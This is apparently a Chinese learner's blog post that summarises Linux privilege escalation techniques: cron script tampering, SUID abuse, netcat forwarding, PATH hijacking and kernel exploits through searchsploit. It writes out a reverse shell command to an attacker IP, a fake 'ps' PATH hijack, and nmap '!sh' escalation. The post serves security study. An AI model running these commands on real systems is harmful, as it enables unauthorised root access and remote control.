• Linux 提权学习小结


    参考文章

    Linux提权:从入门到放弃

    前言

    粗略地看了一下,Windows 提权方式相较于 Linux 多太多了。所以先搞搞 Linux 提权。

    基本知识

    这是使用ls -l命令得到的结果,通过此方式可以看到各用户对文件的权限

    drwxr-xr-x  4 kali kali    4096 Jun  7 12:13  CVE-2020-0796
    -rw-r--r-- 1 kali kali 2419716 Aug 17 06:14  result.txt
    
    # 其中第一列各个字母/符号分别代表
    -   表示无
    d   表示这是一个目录,当然还有其他形式,如 l、b、c、p、s
    r   可读,4
    w   可写,2
    x   可执行,1
    
    # 第二列表示文件的硬链接数
    # 第三/四列表示:文件(目录)拥有者、文件(目录)拥有者所在的组
    # 后面的分别表示文件大小、创建时间以及名称
    

    可以看到,第一列表示文件属性及权限的共有 10 个字符,除去第一个表示其是否为目录外
    另外 9 个被分为 3 组,分别代表 拥有者权限所在组权限其他用户权限

    可以使用 chmod 命令设置权限,例如 chmod -R 777 test-R 表示是对目录修改权限,当当前用户与文件所属用户不相符时,便没有权力更改这些属性

    信息搜集工具:
    linuxprivchecker
    linux-exploit-suggester

    exp 库:
    Exploit-db
    Linux 提权漏洞集合

    方式

    前提:有一个低权限的 shell,并能上传/下载文件

    基于密码的提权

    在前期对目标的信息搜集可能会得到一些存储着用户密码的文件,或者是在数据库中能得到一些账号密码。极有可能管理员会复用这些密码。于是便可以直接在 shell 中使用 sudo 命令(SSH 中不可用)尝试提权至管理员权限。还有就是查看一下桌面上的文件,有时候管理员为了方便记忆,会把一些账号密码放在桌面上的文件里。还有浏览器里面可能会存密码!

    计划任务提权

    一个简单但是不常见的方式。

    系统内可能会有一些定时执行的任务,一般这些任务由 crontab 来管理,具有所属用户的权限。非 root 权限的用户是不可以列出 root 用户的计划任务的。但是 /etc/ 内系统的计划任务可以被所有用户列出

    使用:ls -l /etc/cron*

    默认这些程序以 root 权限执行,如果有幸遇到一个把其中脚本配置成任意用户可写的管理员,我们就可以修改脚本反弹 shell 什么的了

    例如发现一个这样的计划任务:

    -rwxrwxrw- 1 root root 2419716 Aug 17 06:14  corn
    

    发现其所有用户可读可写,于是便可以在其中添加 bash -i >& /dev/tcp/192.168.230.136/2333 0>&1 来反弹 shell,在攻击机上监听,当管理员登陆时,即可得到一个 root 权限的 shell

    SUID 提权

    SUID 是一种特殊的文件属性,它允许用户执行的文件以该文件的拥有者的身份运行。

    当以 root 身份给 SUID.py 文件执行 chmod u+s SUID.py 或者 chmod 4755 SUID.py 后,可以得到具有如下权限的文件

    -rwSr-xr-x 1 root root        0 Aug 21 00:59 SUID.py     # 可以看到,代表 拥有者组 执行权限的字符变成了 S,且普通用户也有执行权限
    

    当普通用户执行带有 S 标志位的可执行文件时,便会以文件拥有者 root 的权限执行的
    可以通过如下命令 find / -user root -perm -4000 -print 2>/dev/null 得到这种类型的文件

    常见的有提权功能的 Linux 可执行文件有:

    Nmap
    Vim
    find
    Bash
    More
    Less
    Nano
    cp
    

    例如 nmap:

    较旧版本的Nmap(2.02至5.21)带有交互模式,从而允许用户执行shell命令。由于Nmap位于上面使用root权限执行的二进制文件列表中,因此可以使用交互式控制台来运行具有相同权限的shell

    具体操作:

    nmap -interactive  # 进入交互模式
    nmap> !sh  # 提供一个 root 权限的 shell 
    

    更多具体操作可以看这篇文章 Linux提权——利用可执行文件SUID

    网络与隐藏的服务

    有一些服务器的服务会被配置成对内网或者对本机开放。通过对他们的攻击我们有机会接触更多的敏感文件,或是运气足够好碰上一个远程 root 漏洞。

    netstat -antup       # 查看各种网络服务,如果找到些神秘的服务,可以用 netcat 做个转发
    
    # 转发
    mkfifo backpipe
    nc -l 本地神秘服务端口 0<backpipe | nc 远程IP 端口 1>backpipe
    

    环境变量提权

    什么是环境变量:

    环境变量相当于给系统或用户应用程序设置的一些参数,具体起什么作用和具体的环境变量相关。比如 path,是告诉系统,当要求系统运行一个程序而没有告诉它程序所在的完整路径时,系统除了在当前目录下面寻找(Linux 系统不会在当前目录下寻找,而实直接在环境变量里找)此程序外,还应到哪些目录下去寻找
    PATH 便是 Linux 中的一个环境变量,用于指定存储可执行程序的所有 bin 和 sbin 目录,当用户在终端上执行任何命令时,它会通过 PATH 变量来响应用户执行的命令,并向 shell 发送请求以搜索可执行文件

    简言之:比如你在终端中输入一个 nmap 命令,其实是执行一个二进制文件,按下回车之后,系统便会去 PATH 指定的目录下寻找一个叫做 namp 的可执行文件,找到了便会执行该文件,找不到则提示没有该文件/命令

    可以通过 echo $PATH 查看 PATH 环境变量

    /usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games   # 以 : 作为分割符, . 代表当前目录
    

    示例:
    root 用户在 /temp 目录下编译了这样一个 shell.c 程序,得到一个叫做 shell 的可执行文件,并且执行了 chmod u+s shell 为其添加了 SUID 属性

    #include<stdlib.h>
    #include <unistd.h>
    void main()
    {
    setuid(0);
    system("ps");
    }
    

    得到:-rwSr-xr-x 1 root root 0 Aug 21 00:59 shell

    此时攻击者取得了一个低权限的 shell,通过 find / -perm -u=s -type f 2>/dev/null,搜索具有 SUID 或 4000 权限的文件,发现

    /temp/shell
    

    并且同样也找到了它的源文件 shell.c
    发现它使用了 system 函数,由于 system 函数是继承环境变量的,因此便可以通过替换环境变量可以达到执行任意命令的效果。

    • 获取一个 root 权限的 shell
      具体命令操作:
    cd /tmp                  # 首先切换到该目录下
    echo "/bin/sh" > ps      # 伪造一个 ps 文件
    chmod 777 ps             # 赋予所有用户所有权限
    export PATH=/tmp:$PATH   # 将 /temp 添加到环境变量
    ./shell                  # 执行 shell 文件
    

    解释:
    1.前提,c 程序中使用 system 函数调用了 ps 命令,由于 system 函数是继承环境变量的(即相当于在终端中执行命令),所以在执行 ps 时会去环境变量指定的目录中寻找一个叫 ps 的可执行文件
    2.攻击者通过echo "/bin/sh" > pschmod 777 ps 在 /temp 目录下伪造了一个叫做 ps 的可执行文件
    3.然后,通过 export PATH=/tmp:$PATH 将 /temp 目录加到了环境变量中,由于系统寻找可执行文件的时候是从指定的目录中一个个找的,谁写在前面便会先去这个目录找,找到了就不继续找,找不到再继续去下一个目录找,直到没找到
    4.执行./shell 命令时,程序先去环境变量指定的第一个文件夹(/temp)中寻找一个叫 ps 的可执行文件,由于事先伪造好了这样一个文件,于是该程序便会执行这个假的 ps 文件
    5.而文件内容为 /bin/sh ,且该文件是由管理员创建具有 SUID 属性,执行时便以 root 权限执行,最终便得到了一个 root 权限的 shell,就相当于 root 用户在终端中执行了 /bin/sh

    总结下来:
    1.需要一个有 SUID 属性的文件
    2.需要了解到文件的源码,且其中要有可被利用的特殊函数
    3.什么鬼,这么难利用,放弃,卒

    内核提权

    怎么说呢, Linux 提权还是以内核提权为主,其他提权方式要求的前提太多。

    首先,基础的信息收集:

    # 查看内核版本
    uname -a
    
    # 查看发行版
    cat /etc/issue
    cat /etc/*-release
    

    例如:

    Linux ruion-PC 4.15.0-30deepin-generic #31 SMP Fri Nov 30 04:29:02 UTC 2018 x86_64 GNU/Linux
    # 内核版本(4.15.0),cpu 架构(x86_64),和发行版(Deepin 15.11)
    

    得到这些信息后,便可以通过 kali 中的 searchspoit 查找 exploitdb 中的漏洞利用代码

    searchsploit linux priv esc 4.15 Deepin 15
    


    然后,查看结果的具体要求的筛选过程,大部分 exp 都会写清生效条件
    然后下载 exp 在被攻击机上编译、执行
    当被攻击机上没有 gcc 编译器的时候,就需要本地搭建类似环境进行编译后上传可执行文件再执行

    gcc exp.c -o exp
    chomd 777 exp
    ./exp
    

    当然也可以使用前文给的两个信息搜集工具进行搜集

  • 相关阅读:
    java.lang.NoSuchMethodError:antlr.collections.AST.getLine() I
    T7 java Web day01 标签HTML
    T6 s1 day19
    T5 s5 Day18
    T5 s4 Day 17
    T5 s3 day16
    T5 s2 Day 15
    T5 s1 day14
    T4 S03 day 12
    T4 S01 day1
  • 原文地址:https://www.cnblogs.com/wjrblogs/p/13529907.html
Copyright © 2020-2023  润新知